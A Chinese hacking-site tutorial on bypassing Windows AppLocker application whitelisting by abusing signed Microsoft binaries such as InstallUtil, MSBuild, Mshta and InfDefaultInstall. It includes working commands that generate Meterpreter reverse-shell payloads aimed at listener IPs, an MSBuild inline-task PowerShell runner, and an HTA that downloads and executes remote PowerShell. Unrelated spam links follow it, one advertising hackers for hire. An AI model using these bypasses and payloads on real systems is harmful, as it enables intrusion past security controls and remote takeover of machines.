黑客信息网:AppLocker绕过之途

访客3年前黑客文章933

前言
在提权中我们经常会遇到目标开启了Applocker的情况,讲解Applocker的绕过技术。

这不仅仅是一个applocker的bypass文章,也是一个白名单利用文章。

(若无特殊说明,实验环境一律为windows server 2012 r2)

什么是applocker
AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker选项。


0.png
applocker规则
默认的Applocker规则支持以下几种:

规则 ***  关联的文件格式
可执行文件 .exe、.com
脚本 .ps1、.bat、.cmd、.vbs、.js
Windows Installer 文件 .msi、.msp、.mst
封装应用和封装应用安装程序 .appx
DLL 文件 .dll、.ocx
.appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:\Windows\System32\AppLocker生产相应的.applocker文件。

applocker规则条件
规则条件是用于帮助 AppLocker 标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。

发布者:基于应用的数字签名标识它

路径:通过应用在计算机文件系统中或 *** 上的位置来标识它

文件哈希:表示已标识文件的系统计算的加密哈希


1.png
AppLocker 默认规则
在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:


2.png
每个规则所对应的默认规则如下:

可执行的默认规则类型包括:

允许本地 Administrators 组的成员运行所有应用。

允许 Everyone 组的成员运行 Windows 文件夹中的应用。

允许 Everyone 组的成员运行 Program Files 文件夹中的应用。

脚本默认规则类型包括:

允许本地 Administrators 组的成员运行所有脚本。

允许 Everyone 组的成员运行 Program Files 文件夹中的脚本。

允许 Everyone 组的成员运行 Windows 文件夹中的脚本。

Windows Installer 默认规则类型包括:

允许本地 Administrators 组的成员运行所有 Windows Installer 文件。

允许 Everyone 组的成员运行所有已进行数字签名的 Windows Installer 文件。

允许 Everyone 组的成员运行 Windows\Installer 文件夹中的所有 Windows Installer 文件。

DLL 默认规则类型:

允许本地 Administrators 组的成员运行所有 DLL。

允许 Everyone 组的成员运行 Program Files 文件夹中的 DLL。

允许 Everyone 组的成员运行 Windows 文件夹中的 DLL。

封装应用默认规则类型:

允许 Everyone 组的成员安装和运行所有已签名的封装应用和封装应用安装程序

AppLocker 规则行为
可将规则配置为使用允许或拒绝操作:

**允许。**你可以指定允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。

**拒绝。**你可以指定 not 允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。


3.png
创建一个applocker规则
讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:


4.png
运行exe测试:


5.png
系统就会阻止我们运行

bypass Applocker
Installutil.exe
InstallUtil是.NET Framework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。

首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板

python InstallUtil.py --cs_file pentestlab.cs
--exe_file /root/Desktop/pentestlab.exe --payload
windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

6.png
上面的命令将生成一个C#模板,其中将包含Metasploit ShellCode。

将生成后的文件放到目标中使用下面的 *** 执行:

 C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe
 
 
当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。

然后用csc编译我们的脚本:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /out:exeshell.exe exeshell.cs

7.png
此时我们执行我们的文件试试:


9.png
被规则拦截,那么我们使用

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
绕过


10.png
msf成功上线


11.png
在msf中也有使用InstallUtil.exe进行applocker的bypass模块。

exploit/windows/local/applocker_bypass
原理是一样的


12.png
附带常见的路径:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

M *** uild.exe
MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDN MSBuild)

我们可以使用MSBuild通过受信任的Windows实用工具 *** 代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.

我们这里直接使用GreatSCT生成一个xml文件。

./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p m *** uild/meterpreter/rev_tcp.py

13.png
并且会给我们生成一个rc文件,我们可以使用msfconsole -r 直接启动msf

然后使用m *** uild执行,


14.png
msf上线:


15.png
当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:

https://github.com/3gstudent/m *** uild-inline-task/blob/master/executes%20shellcode.xml

注意将后缀名改为.csproj

除了反弹shell以外我们还可以用它来绕过powershell的限制。


16.png
代码如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/m *** uild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\m *** uild.exe pshell.xml -->
   <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
   <Using Namespace="System.IO" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
       Console.WriteLine("Hello From Fragment");
        ]]>
      </Code>
    </Task>
 </UsingTask>
 <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
 <Task>
   <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[
 
 
   using System;
   using System.IO;
   using System.Diagnostics;
   using System.Reflection;
   using System.Runtime.InteropServices;
   //Add For PowerShell Invocation
   using System.Collections.ObjectModel;
   using System.Management.Automation;
   using System.Management.Automation.Runspaces;
   using System.Text;
   using Microsoft.Build.Framework;
   using Microsoft.Build.Utilities;
 
 
   public class ClassExample :  Task, ITask
   {
    public override bool Execute()
    {
 
 
     while(true)
     {
 
 
      Console.Write("PS >");
      string x = Console.ReadLine();
      try
      {
       Console.WriteLine(RunPSCommand(x));
      }
      catch (Exception e)
      {
       Console.WriteLine(e.Message);
      }
     }
 
 
        return true;
    }
 
 
    //Based on Jared Atkinson's And Justin Warner's Work
    public static string RunPSCommand(string cmd)
    {
     //Init stuff
     Runspace runspace = RunspaceFactory.CreateRunspace();
     runspace.Open();
     RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
     Pipeline pipeline = runspace.CreatePipeline();
     //Add commands
     pipeline.Commands.AddScript(cmd);
     //Prep PS for string output and invoke
     pipeline.Commands.Add("Out-String");
     Collection<PSObject> results = pipeline.Invoke();
     runspace.Close();
     //Convert records to strings
     StringBuilder stringBuilder = new StringBuilder();
     foreach (PSObject obj in results)
     {
      stringBuilder.Append(obj);
     }
     return stringBuilder.ToString().Trim();
     }
 
 
     public static void RunPSFile(string script)
    {
     PowerShell ps = PowerShell.Create();
     ps.AddScript(script).Invoke();
    }
 
 
 
 
   }
 
 
 
 
 
 
 
 
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
原地址:https://github.com/3gstudent/m *** uild-inline-task/blob/master/executes%20PowerShellCommands.xml


17.png
成功绕过对powershell的限制。

常见路径如下:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\M *** uild.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\M *** uild.exe

C:\Windows\Microsoft.NET\Framework\v3.5\M *** uild.exe

C:\Windows\Microsoft.NET\Framework64\v3.5\M *** uild.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\M *** uild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\M *** uild.exe

Mshta.exe
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。

使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

0.png
目标机执行:

mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
即可上线。

除了这种 *** hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。

除了本地文件,mshta还支持远程下载的方式执行payload,比如:

mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();
除了以上的方式,mshta可以用用来执行powershell:

<HTML>
<HEAD>
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
即使applocker已经禁止powershell执行了


1.png
InfDefaultInstall.exe
InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:

C:\Windows\System32\Infdefaultinstall.exe

C:\Windows\SysWOW64\Infdefaultinstall.exe

我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。

相关文章

女孩子做什么职业好?女生最吃香的十大职业

女生普遍追求的职业应该是稳定!工作轻松!收入比较可观!在当前情况下!最受欢迎的应该是公务员!稳定!有保障!而且工作轻松!收入也可以!再就是教师!有两个假期!工作性质比较固定!没有过于严苛的工作条件!其...

火把节是哪个族?火把节是哪个民族的节日

火把节是哪个族?火把节是哪个民族的节日

我国有56个民族,不同的民族一般都会有自己特定的节日,尤其是少数民族,节日更加丰富。常见的少数民族节日有泼水节、火把节等等,下面先和小编一起来看看火把节是哪个民族的节日,顺便来说说火把节是几月几号以及...

稚优泉眼线胶笔怎么样

作为国货界的佼佼者,稚优泉粉丝量庞大,口碑也是非常不错的,稚优泉也有眼线笔哦,有很多美妆达人推荐的眼线笔,我们一起来看看怎么样。    ...

如何找到真正的黑客帮忙,有信誉的黑客联系方式

排在搜索引擎搜索结果前几页的网页或网站中,一般是这个网页或网站的标题标签(Title Tag)中包含着搜索关键词。所以,反过来,要让自己网页或网站排到搜索结果的前列,网页的标题标签(Title Tag...

五金营业执照经营范围怎么写(个体户五金店经营范围)

  五金交电是我们生活中不可或缺的,那五金交电营业经营范围有哪些?今日就由pchouse为你一一解答。   1、生产加工型   机电设备及配件、铝制品、小五金、纸制品、服装、金属构件、汽摩配件、焊接设...

黑客工具被盗真实视频(黑客盗拍在线)

黑客工具被盗真实视频(黑客盗拍在线)

本文目录一览: 1、qq视频被录像对方通过一个软件窃取到我手机通讯录,并且威胁我要把录像发给通讯录的每个人 2、黑客如何强行看到别人的视频URL,然后把它弄到自己的网站或者空间里放??????急切...